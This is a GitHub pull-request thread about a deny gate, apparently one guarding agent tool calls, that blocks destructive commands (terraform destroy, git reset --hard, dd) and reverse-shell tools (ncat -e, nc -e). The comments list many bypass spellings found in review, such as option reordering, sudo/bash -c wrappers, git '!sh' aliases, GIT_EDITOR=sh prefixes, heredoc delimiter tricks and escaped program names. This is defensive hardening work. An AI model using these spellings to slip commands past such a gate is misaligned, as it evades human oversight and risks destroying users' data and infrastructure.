  • Heredoc opener runner test. Call path: _argv_row_denial → _drop_literal_heredocs → _data_heredoc_spans → _data_heredoc_opener. That function splits the whole opener line on [\s;&|<>()]+, ignoring quotes, and returns "not data" when any word is in _HEREDOC_RUNNERS. That set is shells plus _PROGRAM_RUNNERS plus eval/source, and now includes fish and mksh. So a quoted title word (env, time, bash, source, exec) in gh pr create --title "…" --body-file - <<'EOF', or a path like ~/.config/fish earlier on the line, gets the message body read as commands. Candidates submitted:
    • the two gh … --title heredoc rows
    • the --body "$(cat <<'EOF' row
    • the ~/.config/fish notes row
    • If confirmed, the narrow fix is a rule-catalog change: run the runner test over the shell reader's quote-aware words, not a quote-blind split.
  • Interpreter heredoc exemption. It applies only when the text is one bare python3/node heredoc (_stdin_interpreter_opener plus _interpreter_alone). So cd infra && python3 - <<'EOF' and the repo's .venv/bin/python - <<'EOF' have Python bodies read as shell lines. The patch documents this as an accepted fail-closed cost. Candidates submitted: the cd infra && python3 - row and the .venv/bin/python - row.
  • Valueless global flags missing from _CDK_FLAG_OPTS. Flags like --trace and --no-version-reporting make the next word read both ways, so a stack name starting with Destroy… can be read as the subcommand. Candidates submitted: the cdk --trace and cdk --no-version-reporting rows.

[SCOPE-REVIEWED] c701c6a

The confirmed rows, in the committed corpus's own shape
{
  "golden_paths": [
    {
      "kind": "shell",
      "command_or_flow": "terraform -help destroy",
      "platform": "posix",
      "reason": "an operator reads terraform's built-in help for the destroy subcommand before writing a teardown runbook; -help takes no value, so destroy is help's topic, not a run"
    },
    {
      "kind": "shell",
      "command_or_flow": "cdk --trace deploy DestroyerStack",
      "platform": "posix",
      "reason": "a CDK developer deploys a stack whose name starts with Destroy with a global valueless flag the floor's cdk flag list does not hold (the suite already allows the --verbose form)"
    },
    {
      "kind": "shell",
      "command_or_flow": "cdk --no-version-reporting deploy DestroyerStack",
      "platform": "posix",
      "reason": "the same deploy with another valueless global flag, as a CI deploy job passes it"
    },
    {
      "kind": "shell",
      "command_or_flow": "gh pr create --title \"docs: env setup for the teardown runbook\" --body-file - <<'EOF'\n## Teardown\n\nterraform -chdir=infra destroy\nEOF",
      "platform": "posix",
      "reason": "an agent opens a docs PR whose title holds the word env; the body is a message gh reads, never run"
    },
    {
      "kind": "shell",
      "command_or_flow": "gh issue create --title \"bash wrapper ignores the time budget\" --body-file - <<'EOF'\nRepro:\n\ngit -C . reset --hard\nEOF",
      "platform": "posix",
      "reason": "a maintainer files an issue whose title holds the words bash and time; the body is issue text"
    },
    {
      "kind": "shell",
      "command_or_flow": "sudo tee /usr/local/share/doc/runbooks/teardown.md >/dev/null <<'EOF'\n# Teardown\nterraform -chdir=infra destroy -auto-approve\nEOF",
      "platform": "posix",
      "reason": "an operator writes a root-owned runbook with the sudo tee heredoc spelling the repo's own CI actions use; the body is file text"
    },
    {
      "kind": "shell",
      "command_or_flow": "mkdir -p ~/.config/fish && cat > ~/.config/fish/README.md <<'EOF'\nUndo a bad rebase with:\ngit -C ~/src/app reset --hard ORIG_HEAD\nEOF",
      "platform": "posix",
      "reason": "a fish user writes a notes file into their fish config dir; the path word ending in fish now names a shell on the opener line"
    },
    {
      "kind": "shell",
      "command_or_flow": "cd infra && python3 - <<'EOF'\nfrom pathlib import Path\nPath('runbook.md').write_text('''\nterraform -chdir=infra destroy\n''')\nEOF",
      "platform": "posix",
      "reason": "an agent generates a runbook file with an inline Python heredoc after a cd; the body is Python code, not shell"
    },
    {
      "kind": "shell",
      "command_or_flow": ".venv/bin/python - <<'EOF'\nprint('''\ngit -C . reset --hard\n''')\nEOF",
      "platform": "posix",
      "reason": "a maintainer runs a quick Python check with the repo venv interpreter, the spelling the corpus already uses for pytest"
    },
    {
      "kind": "shell",
      "command_or_flow": "terraform -help destroy",
      "platform": "windows",
      "reason": "the same help lookup from a Windows shell"
    },
    {
      "kind": "shell",
      "command_or_flow": "cdk --trace deploy DestroyerStack",
      "platform": "windows",
      "reason": "the same CDK deploy from a Windows developer shell"
    }
  ]
}

@bolichen97
bolichen97 force-pushed the fix/argv-row-floor-16475 branch from 629919f to fea4cf6 Compare October 17, 2026 10:16
@bolichen97

Copy link
Copy Markdown
Contributor Author

Sensitive change review

  • Head commit: fea4cf6
  • What rule changed: adds security/argv_row_floor.py, an argv-structural floor under eight existing command-literal deny rows (terraform destroy.*, pulumi destroy.*, cdk destroy.*, kubectl delete namespace.*, git reset --hard.*, ncat -e.*, the nc -e row, dd if=.*). It runs after the regex pass as a UNION; no catalog pattern, rule id, golden fixture or governance pin changed.
  • Before -> after (what was allowed/blocked, now): Before, each row matched one spelling, so an option between the program and the anchored word ran the identical command past the gate (terraform -chdir=x destroy, git -C . reset --hard, dd bs=1M if=...). After, the row matches on the command's argv regardless of where/how options are spelled, including through wrappers (sudo, npx, xargs) and nested shell payloads. The change only ADDS refusals; nothing previously blocked becomes allowed.
  • Worst case if wrong (breaks commands / leaks secret / locks user out): worst case is OVER-denial — a benign command that re-spells one of the eight is refused (fail-closed). It cannot allow anything previously denied, cannot leak a secret, and cannot lock a user out: an operator opt-out of a row disables its floor too, and a reader exception degrades to the regex tier (never fails open). Scope is option spellings only; a glob or .exe program-word spelling is deliberately not resolved.
  • Evidence checked (which sandbox result proves it): a 36-command adversarial deny battery (every row re-spelled: options before/after the verb, packed clusters, long forms, sudo/npx wrappers, bash -c, $( ), a subshell, quoted/dequoted separators, a wrapper option-value that repeats the program name) all deny via is_denied with component=argv-floor; a 27-command allow battery (neighbouring non-destructive commands, option values starting with a verb, program-word spellings, and bodies that merely quote a command) all pass. Perf on a 20 KB flood of program tokens is ~0.3s (was ~29s in an intermediate revision; fixed by splitting into commands once).
  • No regression:
    • Tools still work (which tools/commands were run, result): the 27-command allow battery (terraform -chdir=x plan, git -C . reset --soft, kubectl get namespace, dd --help, grep -rn terraform docs/, gh pr create --body "...git -C . reset --hard...", etc.) all return allow.
    • Backward compatible (old config / old data / old callers still work, how checked): only adds refusals; the per-row opt-out is unchanged and verified to disable the floor (test_an_opt_out_of_the_row_disables_its_floor). Catalog/golden fixture byte-for-byte unchanged.
    • Existing tests (which suites passed on this head): test/test_argv_row_floor.py (73 cases), test/test_security_gate_liveness.py (package line budget / monolith / facade), black/isort/flake8/mypy and the repo semgrep diff-scan all pass locally.
  • How to undo: revert this commit (removes argv_row_floor.py and its evaluator hook); the regex rows keep their original behaviour. An operator can instead opt out of any affected row, which disables that row's floor with it.

@github-actions github-actions Bot added readiness: action required A blocking check or review needs attention and removed readiness: checking Automated validation is still running labels Oct 17, 2026
@bolichen97
bolichen97 force-pushed the fix/argv-row-floor-16475 branch from fea4cf6 to a61c892 Compare October 17, 2026 10:35
@bolichen97

Copy link
Copy Markdown
Contributor Author

Sensitive change review

  • Head commit: a61c892
  • What rule changed: adds security/argv_row_floor.py, an argv-structural floor under eight existing command-literal deny rows (terraform destroy.*, pulumi destroy.*, cdk destroy.*, kubectl delete namespace.*, git reset --hard.*, ncat -e.*, the nc -e row, dd if=.*). It runs after the regex pass as a UNION; no catalog pattern, rule id, golden fixture or governance pin changed.
  • Before -> after (what was allowed/blocked, now): Before, each row matched one spelling, so an option between the program and the anchored word ran the identical command past the gate (terraform -chdir=x destroy, git -C . reset --hard, dd bs=1M if=...). After, the row matches on the command's argv regardless of where/how options are spelled, including through wrappers (sudo, npx, xargs) and nested shell payloads. The change only ADDS refusals; nothing previously blocked becomes allowed.
  • Worst case if wrong (breaks commands / leaks secret / locks user out): worst case is OVER-denial — a benign command that re-spells one of the eight is refused (fail-closed). It cannot allow anything previously denied, cannot leak a secret, and cannot lock a user out: an operator opt-out of a row disables its floor too, and a reader exception degrades to the regex tier (never fails open). Scope is option spellings only; a glob or .exe program-word spelling is deliberately not resolved.
  • Evidence checked (which sandbox result proves it): a 36-command adversarial deny battery (every row re-spelled: options before/after the verb, packed clusters, long forms, sudo/npx wrappers, bash -c, $( ), a subshell, quoted/dequoted separators, a wrapper option-value that repeats the program name) all deny via is_denied with component=argv-floor; a 27-command allow battery (neighbouring non-destructive commands, option values starting with a verb, program-word spellings, and bodies that merely quote a command) all pass. Perf on a 20 KB flood of program tokens is ~0.3s (was ~29s in an intermediate revision; fixed by splitting into commands once).
  • No regression:
    • Tools still work (which tools/commands were run, result): the 27-command allow battery (terraform -chdir=x plan, git -C . reset --soft, kubectl get namespace, dd --help, grep -rn terraform docs/, gh pr create --body "...git -C . reset --hard...", etc.) all return allow.
    • Backward compatible (old config / old data / old callers still work, how checked): only adds refusals; the per-row opt-out is unchanged and verified to disable the floor (test_an_opt_out_of_the_row_disables_its_floor). Catalog/golden fixture byte-for-byte unchanged.
    • Existing tests (which suites passed on this head): test/test_argv_row_floor.py (73 cases), test/test_security_gate_liveness.py (package line budget / monolith / facade), black/isort/flake8/mypy and the repo semgrep diff-scan all pass locally.
  • How to undo: revert this commit (removes argv_row_floor.py and its evaluator hook); the regex rows keep their original behaviour. An operator can instead opt out of any affected row, which disables that row's floor with it.

@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention and removed readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running labels Oct 17, 2026
@bolichen97
bolichen97 force-pushed the fix/argv-row-floor-16475 branch from a61c892 to 8857b3f Compare October 17, 2026 10:52
@bolichen97

Copy link
Copy Markdown
Contributor Author

Sensitive change review

  • Head commit: 8857b3f
  • What rule changed: adds security/argv_row_floor.py, an argv-structural floor under eight existing command-literal deny rows (terraform destroy.*, pulumi destroy.*, cdk destroy.*, kubectl delete namespace.*, git reset --hard.*, ncat -e.*, the nc -e row, dd if=.*). It runs after the regex pass as a UNION; no catalog pattern, rule id, golden fixture or governance pin changed.
  • Before -> after (what was allowed/blocked, now): Before, each row matched one spelling, so an option between the program and the anchored word ran the identical command past the gate (terraform -chdir=x destroy, git -C . reset --hard, dd bs=1M if=...). After, the row matches on the command's argv regardless of where/how options are spelled, including through wrappers (sudo, npx, xargs) and nested shell payloads. The change only ADDS refusals; nothing previously blocked becomes allowed.
  • Worst case if wrong (breaks commands / leaks secret / locks user out): worst case is OVER-denial — a benign command that re-spells one of the eight is refused (fail-closed). It cannot allow anything previously denied, cannot leak a secret, and cannot lock a user out: an operator opt-out of a row disables its floor too, and a reader exception degrades to the regex tier (never fails open). Scope is option spellings only; a glob or .exe program-word spelling is deliberately not resolved.
  • Evidence checked (which sandbox result proves it): a 36-command adversarial deny battery (every row re-spelled: options before/after the verb, packed clusters, long forms, sudo/npx wrappers, bash -c, $( ), a subshell, quoted/dequoted separators, a wrapper option-value that repeats the program name) all deny via is_denied with component=argv-floor; a 27-command allow battery (neighbouring non-destructive commands, option values starting with a verb, program-word spellings, and bodies that merely quote a command) all pass. Perf on a 20 KB flood of program tokens is ~0.3s (was ~29s in an intermediate revision; fixed by splitting into commands once).
  • No regression:
    • Tools still work (which tools/commands were run, result): the 27-command allow battery (terraform -chdir=x plan, git -C . reset --soft, kubectl get namespace, dd --help, grep -rn terraform docs/, gh pr create --body "...git -C . reset --hard...", etc.) all return allow.
    • Backward compatible (old config / old data / old callers still work, how checked): only adds refusals; the per-row opt-out is unchanged and verified to disable the floor (test_an_opt_out_of_the_row_disables_its_floor). Catalog/golden fixture byte-for-byte unchanged.
    • Existing tests (which suites passed on this head): test/test_argv_row_floor.py (73 cases), test/test_security_gate_liveness.py (package line budget / monolith / facade), black/isort/flake8/mypy and the repo semgrep diff-scan all pass locally.
  • How to undo: revert this commit (removes argv_row_floor.py and its evaluator hook); the regex rows keep their original behaviour. An operator can instead opt out of any affected row, which disables that row's floor with it.

@github-actions github-actions Bot added readiness: checking Automated validation is still running readiness: action required A blocking check or review needs attention and removed readiness: action required A blocking check or review needs attention readiness: checking Automated validation is still running labels Oct 17, 2026
@bolichen97
bolichen97 force-pushed the fix/argv-row-floor-16475 branch from 8857b3f to e6aebab Compare October 17, 2026 11:10
@bolichen97

Copy link
Copy Markdown
Contributor Author

Sensitive change review

  • Head commit: e6aebab
  • What rule changed: adds security/argv_row_floor.py, an argv-structural floor under eight existing command-literal deny rows (terraform destroy.*, pulumi destroy.*, cdk destroy.*, kubectl delete namespace.*, git reset --hard.*, ncat -e.*, the nc -e row, dd if=.*). It runs after the regex pass as a UNION; no catalog pattern, rule id, golden fixture or governance pin changed.
  • Before -> after (what was allowed/blocked, now): Before, each row matched one spelling, so an option between the program and the anchored word ran the identical command past the gate (terraform -chdir=x destroy, git -C . reset --hard, dd bs=1M if=...). After, the row matches on the command's argv regardless of where/how options are spelled, including through wrappers (sudo, npx, xargs) and nested shell payloads. The change only ADDS refusals; nothing previously blocked becomes allowed.
  • Worst case if wrong (breaks commands / leaks secret / locks user out): worst case is OVER-denial — a benign command that re-spells one of the eight is refused (fail-closed). It cannot allow anything previously denied, cannot leak a secret, and cannot lock a user out: an operator opt-out of a row disables its floor too, and a reader exception degrades to the regex tier (never fails open). Scope is option spellings only; a glob or .exe program-word spelling is deliberately not resolved.
  • Evidence checked (which sandbox result proves it): a 36-command adversarial deny battery (every row re-spelled: options before/after the verb, packed clusters, long forms, sudo/npx wrappers, bash -c, $( ), a subshell, quoted/dequoted separators, a wrapper option-value that repeats the program name) all deny via is_denied with component=argv-floor; a 27-command allow battery (neighbouring non-destructive commands, option values starting with a verb, program-word spellings, and bodies that merely quote a command) all pass. Perf on a 20 KB flood of program tokens is ~0.3s (was ~29s in an intermediate revision; fixed by splitting into commands once).
  • No regression:
    • Tools still work (which tools/commands were run, result): the 27-command allow battery (terraform -chdir=x plan, git -C . reset --soft, kubectl get namespace, dd --help, grep -rn terraform docs/, gh pr create --body "...git -C . reset --hard...", etc.) all return allow.
    • Backward compatible (old config / old data / old callers still work, how checked): only adds refusals; the per-row opt-out is unchanged and verified to disable the floor (test_an_opt_out_of_the_row_disables_its_floor). Catalog/golden fixture byte-for-byte unchanged.
    • Existing tests (which suites passed on this head): test/test_argv_row_floor.py (73 cases), test/test_security_gate_liveness.py (package line budget / monolith / facade), black/isort/flake8/mypy and the repo semgrep diff-scan all pass locally.
  • How to undo: revert this commit (removes argv_row_floor.py and its evaluator hook); the regex rows keep their original behaviour. An operator can instead opt out of any affected row, which disables that row's floor with it.

@bolichen97

Copy link
Copy Markdown
Contributor Author
  • Prose in a non-command tool_input string is read as a command after if/while/until
    needs-a-decision

Advisory, fail-closed false denial: the floor runs on every command-rules tool_input string, so prose such as If git reset fails, use the --hard flag ... can be refused under git reset --hard.*; the regex tier already reads those same strings, and nothing main refuses is allowed.
The fix the lane names changes where the floor runs (a subject flag through deny_gate, or the untouched caller tool_input_denials.py), which is a scope decision for this PR's owner, not a mechanical change.
Needs a non-bolichen97 maintainer ruling: scope the floor to the command subject here, in a follow-up, or keep it as is.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] Maintainer ruling applied (bca9d70 -> aa2fb16, rebased on current main, still one commit).

  • Fixed here: the two Security Scope false refusals with an environment prefix, env -u KIROCREW_PORT git commit -F - <<'EOF' and GIT_AUTHOR_NAME=bot git commit -F - <<'EOF'. A prefix is skipped only when it is an allowlist: identity, date and locale assignments (GIT_AUTHOR_*, GIT_COMMITTER_*, LANG, LC_*, TZ) and one plain env with -i / -u NAME / --unset=NAME. Any other variable (GIT_EDITOR=sh, GIT_PAGER=sh, GIT_CONFIG_*), any prefix word carrying shell syntax (X=1&sh${IFS}-s), or a prefixed git with -c / alias. / ! keeps the body read. Each class has RESPELLED cases. Local review found the editor, pager, alias and & bypasses in earlier drafts; an executed differential against bca9d70 (680 newly allowed commands, 136 combos run with a sentinel body) found none that runs the body.
  • Not changed here: the heredoc-as-data rule. python3 - heredocs and "body written to a file, run on a later line" are tracked in argv row floor: heredoc-as-data rule over-refuses interpreter heredocs, misses file-then-run #22332.
  • GPT findings on bca9d70 stay needs-a-decision for a non-bolichen97 maintainer. No override posted.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] Security Scope Review on aa2fb16: the 8 newly refused operations are over-refusals in the option tables (kubectl delete --ignore-not-found pod namespace-…, terraform -help destroy) and in the heredoc-as-data rule (python3 -, prefixes outside the allowlist such as GH_REPO= / NO_COLOR= / GIT_TRACE=, && timeout … on the opener line). Under the maintainer ruling this PR stops at its core fix, so no code changes here; they are added to #22332 (comment). None lets through a command main refuses.

GPT 6.1, Opus 5.5 and Sensitive Change Review on this head failed on GitHub's installation rate limit (step output: API rate limit exceeded for installation), twice; they have not produced a verdict for aa2fb16 yet.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] Rebased onto main 7bc2f37 (ce48368 -> 761aef7), two commits kept (argv row floor + the stacked stdin-interpreter heredoc rule from #22631). The only conflict was _PACKAGE_LINE_BUDGET in test/test_security_gate_liveness.py: main's 32,056 kept, this PR's +1,269 and +111 applied on top (33,436). No code hunk changed. Local: test/test_argv_row_floor.py + test/test_security_gate_liveness.py 304 passed; related backend set 2443 passed; isort/flake8/mypy clean.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] Rebased onto main 41708c9 (da0e408 -> a0ba500), two commits kept. The only conflict was the _PACKAGE_LINE_BUDGET comment block in test/test_security_gate_liveness.py: main's rows are kept and this PR's deltas sit on top (32,188 -> 33,457 -> 33,568 -> 33,612).

Local prepare-pr review on the rebased head (GPT 6.1 Sol, Opus 5.5) and three focused verifiers found heredoc holes in this PR's own floor code, fixed in the second commit:

  • fixed: an unprefixed git alias (git -c alias.r='!sh' r <<'EOF') no longer gets the data-heredoc exemption.
  • fixed: a heredoc delimiter is decoded as bash does ('E\OF' closes on E\OF), so a later EOF cannot hide a command.
  • fixed: a source . after the heredoc (X=1 ., '.', \., after another command's -C) keeps the body read; git -C . commit -F - no longer over-refuses.
  • rebutted (Medium, verifier): git -c core.commentChar='!' commit -F - <<'EOF' with a row command in the message is now refused. Fail-closed cost of the ! alias hint; same shape as the prefixed-data-program rule on main.

Each new case is in test/test_argv_row_floor.py and was red on 3085a06a3b. Human gates unchanged: re-review by @iamwhatever and a maintainer ruling from someone other than bolichen97.

@bolichen97

Copy link
Copy Markdown
Contributor Author
  • First Principles PASS punchline: _comment_spans word-start test duplicates _opens_comment rebutted

Not a fail-open copy: _comment_spans walks _iter_shell_chars, where a \+newline fold is one step, so previous is the character the fold leaves adjacent, which is what _opens_comment steps over to test.
Checked on a0ba500 through is_denied: git -C . reset a\+NL+#b --hard is refused (one word a#b, no comment); git -C . reset --soft \+NL+# --hard is allowed (a real comment); : \+NL+# x+NL+git -C . reset --hard is refused.
It also tracks open backticks and $( ) / ${ } depth, which _opens_comment does not, so swapping it in would widen what counts as a comment. Kept as is; no new head for an advisory PASS item.

@bolichen97

Copy link
Copy Markdown
Contributor Author
  • Design PASS punchline: nothing blocks; the argv check only adds refusals after the unchanged regex tier accepted

Agreed, no change asked. The regex tier still runs first and is unchanged, so the floor never allows a command main refuses; a row opt-out turns both off.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] Security Scope Review on a0ba500: BLOCK, 7 newly refused (ubuntu/macos), 5 (windows). The sticky comment was not refreshed for this head; the list is from run 39866636738 artifacts security-scope-report-*.

  • Same class as the row on main: pulumi -s dev destroy --preview-only, kubectl delete --dry-run=client -o yaml namespace preview-42. Main's own regex refuses pulumi destroy --preview-only and kubectl delete namespace x --dry-run=client; only the option position differs.
  • Already ruled to #22332: a prefix outside the allowlist (SKIP=flake8 git commit -F -, NO_COLOR=1 git commit -F -), a non-bare interpreter heredoc (cd docs && python3 -, .venv/bin/python -), sudo tee … <<'EOF'.
  • New shape, added to argv row floor: heredoc-as-data rule over-refuses interpreter heredocs, misses file-then-run #22332: a PowerShell here-string piped to git commit -F - (Windows leg).

None lets through a command main refuses (0 loosenings on every leg). No code change here under the maintainer ruling that this PR stops at its core fix. Clearing this lane is a writer's /ai-review override scope call for a maintainer other than bolichen97; no override is posted by the agent.

Opus 5.5 Review on this head failed twice on GitHub's installation rate limit (API rate limit exceeded for installation), before any review ran.

@bolichen97

Copy link
Copy Markdown
Contributor Author
  • A heredoc body's apostrophe turns a later quoted # into a comment that hides the next command fixed in d43dad2

Legitimate: _comment_spans stepped quotes across heredoc bodies, so it's in a body flipped the quote state and ' # TODO' read as a comment; cutting it left an open quote that swallowed the next line.
Fix: _comment_readings reads comments twice, on the whole text and with every heredoc body blanked (newlines kept), and the floor refuses if either stripped text refuses; _inert_bodies quiets a substitution by a comment only under both readings. Neither reading alone is safe: the blanked one is fooled by a << inside a comment.
Tests: the review's two triggers plus an unquoted-heredoc variant are RESPELLED cases, red on a0ba500 and green here; a << inside a comment stays refused. 20 KB of 1,000 closed heredocs with apostrophes reads in 0.7 s.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] d43dad2 -> d972b06 (rebased on main c9603a9, two commits kept).

  • fixed (local Opus verifier, High, already present at a0ba500): a quote inside a comment (# don't) left the comment reader's quote state open into the next line, so a second comment's quote swallowed a respelled row command (# don't+NL+# it's+NL+git -C . reset --hard). _comment_spans now restarts from a clean state after each comment. Three RESPELLED cases, red on d43dad2, green here; 20 KB of comments with apostrophes reads in 0.6 s.
  • open, not fixed here (Medium, already present at a0ba500): _heredoc_body_spans finds << line by line and does not know a line that starts inside a multi-line quote, e.g. echo '+NL+cat <<EOF+NL+EOF+NL+echo "<<X" '+NL+git -C . reset --hard. Same class as the shell forms tracked in Evaluate a real shell parser for the three security command checks #21682 (real-parser evaluation). Main allows it as well.

@bolichen97

bolichen97 commented Oct 23, 2026 •

Copy link
Copy Markdown
Contributor Author
  • span=f87b0cc827f9 A printed example exempts an independently executing substitution fixed in c442271

Legitimate: frames are deduplicated by text, so the frame that cat <(...) runs was skipped by _printed_only because an echo frame printed the same text.
Fix: a frame whose text also sits in a frame holding $(, a backtick, <( or >( is never skipped as printed only. A plain echo bash -c '...' stays allowed.
Test: the review's trigger is a RESPELLED case, red on d972b06 and green here; a $( ) variant is pinned beside it.

@bolichen97

Copy link
Copy Markdown
Contributor Author
  • A double-quoted $( ) with text after its closing quote hides the respelled reset fixed in a429839

Legitimate: the shared walk hands on a $( ) body that runs past its closer (git -c . reset --hard)" && ls); the stray " joined --hard to the next text.
Fix: _substitution_readings also reads each frame cut at its first unmatched unquoted ); both readings are checked, so the cut only adds refusals.
Test: x="$(git -C . reset --hard)" && ls and echo "$(git -C . reset --hard)"; ls are RESPELLED cases, red on c442271, green here.

@bolichen97

Copy link
Copy Markdown
Contributor Author
  • Blocker: a second list of shell and interpreter names, already out of step with the shared one fixed in a429839

_STDIN_SHELLS is deleted; _HEREDOC_RUNNERS is built from shell_normalizer_programs._NESTED_SHELL_PROGRAMS and _NESTED_SHELL_VERBS. The shared list gains mksh and fish (the floor had them), so no runner is lost and ash is now read.
Python names come from _PYTHON_PROGRAM_RE; only node|nodejs stays local, as asked.
Test: cat <<'EOF' | ash is a RESPELLED case.

@bolichen97

Copy link
Copy Markdown
Contributor Author
  • Note: _heredoc_delimiter / _heredoc_body_spans duplicate shell_normalizer_redirects._heredoc_marker rebutted

Not a drop-in: _heredoc_marker dequotes the tag with the shared token dequoter, which drops a quoted backslash ('E\OF' -> EOF). That spelling let a later EOF close the body early and hide a command (local review on 3085a06a3b); _heredoc_delimiter keeps it, as bash does.
Moving the shared reader to bash's rule changes every other security reader of heredocs, which is out of this PR's goal. Tracked with the shared-parser work in #21682.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] Backend Tests (Windows) (2) on a429839 (job) is not from this PR.

Not rerun again. It needs the #23289 fix on main; a rebase onto that fix will clear it.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] 5b32045 -> 6895377 -> 4fc67e3 (rebased on main 48fb674, two commits kept).

  • Conflict: only _PACKAGE_LINE_BUDGET in test/test_security_gate_liveness.py. Main's rows kept, this PR's deltas applied on top (32,518 + 1,269 + 245, then +41 below = 34,073).
  • fixed (local GPT 6.1 review, High, present since the floor landed): is_denied handed the floor the case-folded text, so $'\U0000002d\U0000002dhard' folded to \u… and no longer decoded to --hard, and ncat -Se folded to the value-taking -s. The floor now takes the raw command and reads it three ways (lower-cased as before, lower-cased with each \U kept, and as spelled for the nc / ncat rows); any reading refusing refuses, so it only adds refusals. Pinned by test_case_is_read_before_it_is_folded (5 cases, red on 6895377, green on 4fc67e3).
  • Local gate on 4fc67e3: related backend tests green, black/isort/flake8/mypy clean. Clone has no git hooks installed, so none ran.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] 4fc67e3 -> 7ca4cc7 (same base 48fb674, two commits kept). Local Opus review of 6895377 (CONCERNS) and a GPT verifier of 4fc67e3:

  • fixed (verifier, High): the program-name pre-filter returned before reading a nested payload whose program is a $'…' escape, e.g. bash -c '$'"'"'\x67it'"'"' -C . reset --hard'. A text holding $' is now always read; with no program name seen, a reader failure there is not refused.
  • fixed (local Opus, Medium): a backslash-newline in a heredoc body made the floor close the body at a later EOF than bash and drop the command in between. With a line continuation in the text, no heredoc body is cut or skipped.
  • fixed (local Opus, Medium): $((1<<3)) was read as a heredoc opener. A << inside open (( is now skipped.
  • All three pinned in test_case_is_read_before_it_is_folded (9 cases, red without the fix). Related backend tests (5,988) green, black/isort/flake8/mypy/semgrep clean.
  • Known residual for the Sensitive Change reviewer, not in this diff: the shared shell_normalizer._shell_payload_walk decodes a \$'…' inside a double-quoted bash -c payload wrongly, so bash -c "\$'\x74erraform' -chdir=x destroy" is allowed here and on main. It is a shared-reader defect that every floor reading nested payloads inherits; it needs its own change.

@bolichen97

bolichen97 commented Oct 23, 2026 •

Copy link
Copy Markdown
Contributor Author
  • span=f87b0cc827f9 Dropping empty arguments lets a hard reset bypass the floor

fixed in 1dac0e5: _segment_argv keeps a quoted empty word ("", '') as an argument and drops only bare shell syntax (a lone paren), so git -C "" reset --hard gives -C its value and reset is read as the subcommand.
Pinned by test_case_is_read_before_it_is_folded[local-destructive-git-reset-hard-git -C "" reset --hard], red on 7ca4cc7, green on 1dac0e5.

@bolichen97

bolichen97 commented Oct 23, 2026 •

Copy link
Copy Markdown
Contributor Author
  • span=f87b0cc827f9 Descriptor duplication hides a raw-device write from the dd floor

fixed in 1dac0e5: _is_stdout_write now counts a write of ANY descriptor onto a device (2>/dev/sda writes the disk itself, and a later 1>&2 follows it), so no fd ordering is needed; another descriptor's duplication (2>&1) still adds nothing, and /dev/null and the other harmless devices stay exempt.
Pinned by the dd bs=1M if=image.bin 2>/dev/sda 1>&2 and dd bs=1 if=a 2>/dev/sda cases, red on 7ca4cc7, green on 1dac0e5.

@bolichen97

bolichen97 commented Oct 23, 2026 •

Copy link
Copy Markdown
Contributor Author
  • span=13067e8a5708 A $'EOF' / $"EOF" delimiter closes on EOF in bash, not $EOF

fixed in 7743672: _data_heredoc_opener returns None for any delimiter word holding $, so that heredoc body is read as commands (fail closed), never cut as data.
Pinned by the two cat <<$'EOF' / cat <<$"EOF" cases in test_case_is_read_before_it_is_folded, red on 1dac0e5, green on 7743672.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] Rounds retrospective (span f87b0cc827f9 hit 3 rounds; read-only Opus 5.5 pass over the full diff, rounds and lane bodies).

Finding: every recurring GPT/Opus bypass on this span landed in an exemption the floor added to avoid false refusals (data-heredoc cutting, printed-only words, inert substitution bodies, comment stripping, early return, case fold). main's regex tier has none of these, so each one is an allow path main does not have.
Kept on this head: the argv reader, the option-value tables, and the fail-closed path for unreadable text. Each round's fix makes an exemption narrower (fail closed on the shapes it cannot model); none adds a new exemption.
Not done here, needs a maintainer ruling: the retrospective proposes removing those exemptions (about 650-750 lines) and cutting only one fully modelled heredoc shape. That newly refuses commit/PR bodies that quote a re-spelled row command, the over-refusal the Security Scope lane flagged before. It is a change of what the floor refuses, so it is left for the Sensitive Change reviewer / owner to choose.

@bolichen97

Copy link
Copy Markdown
Contributor Author
  • span=f87b0cc827f9 Lowercasing heredoc delimiters hides an executing hard reset

fixed in be9bff2: the as-spelled reading now runs for every enabled row, not only nc / ncat, so a heredoc closes on the line bash compares (EOF is not eof); _segment_row still folds each argv word for the row comparison.
The data-prefix assignment allowlist (GIT_AUTHOR_NAME=, LANG=, LC_*=, TZ=) matches either case so the as-spelled reading keeps the same data-heredoc reading as the folded one; any other word still stops the skip.
Pinned by the cat <<'EOF'\neof\ncat <<':'\nEOF\ngit -C . reset --hard\n: case, red on 7743672, green on be9bff2.

@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] 1a9933f -> befcfcb (rebased on main f3a7d42, two commits kept, no design change).

  • Conflict: only _PACKAGE_LINE_BUDGET in test/test_security_gate_liveness.py. Main's rows kept; this PR's deltas applied on top (32,616 + 1,577 = 34,193). The other five files rebased cleanly and are unchanged from the previous head.
  • Local gate: related backend tests 6001 passed; mypy, isort, flake8, black clean.

…pelling

Eight built-in deny rows are a <program> <word> literal, so an option between
the program and the anchored word passed the gate. A shared argv table reads
them off the command's argv instead, as a union after the unchanged regex tier.
A bare stdin-interpreter heredoc is read as code, not shell, and a data
program in any pipe stage gets the same git alias / config check.

Closes #16475
@bolichen97

Copy link
Copy Markdown
Contributor Author

[operator: bolichen97] Closing after two weeks of review churn, by owner ruling. The branch is kept.

The last head, c701c6a, could not pass one CI round:

  • First Principles review: this adds a second argv deny-row reader beside the existing security/argv_rules.py.
  • Security Scope Review: it newly refuses ordinary commands.

The remaining gap is tracked in #26980 for the security owner.

Other classes the AI lanes raised here, left as follow-ups for the security owner and not fixed:

  • config or aliases set by a different command, or an earlier call;
  • leading redirections and option values that hide the program or its flags from the argv reader;
  • the over-refusal classes listed in the PR body.

#16475 stays open.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

